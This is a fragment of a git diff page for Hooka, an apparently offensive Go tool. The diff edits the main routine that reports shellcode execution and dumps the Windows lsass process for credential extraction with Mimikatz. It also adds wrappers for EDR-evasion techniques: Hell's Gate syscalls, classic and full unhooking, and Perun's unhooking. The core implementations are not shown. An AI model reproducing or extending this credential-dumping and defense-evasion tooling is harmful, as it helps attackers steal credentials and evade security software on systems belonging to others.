l.Println()
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
} else {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] No function is hooked!")
|
||||
l.Println("[+] No function is hooked!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
@@ -237,18 +304,18 @@ func main() {
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed!")
|
||||
l.Println("[+] Shellcode should have been executed!\n")
|
||||
|
||||
} else if (lsass != "") { // Enter here if --lsass flag was especified
|
||||
l.Println("[*] Dumping lsass process to " + lsass)
|
||||
|
||||
err := core.DumpLsass(lsass)
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred, ensure to be running as admin:")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
|
||||
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func HellsGate(funcname string) (error) {
|
||||
return core.HellsGate(funcname)
|
||||
}
|
||||
|
||||
+11
-2
@@ -2,7 +2,16 @@ package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func Unhook(funcname string) (error) {
|
||||
return core.Unhook(funcname)
|
||||
func ClassicUnhook(funcname string, dllpath string) (error) {
|
||||
return core.Unhook(funcname, dllpath)
|
||||
}
|
||||
|
||||
func FullUnhook(funcname string) (error) {
|
||||
return core.FullUnhook(funcname)
|
||||
}
|
||||
|
||||
func PerunsUnhook() (error) {
|
||||
return core.PerunsUnhook()
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user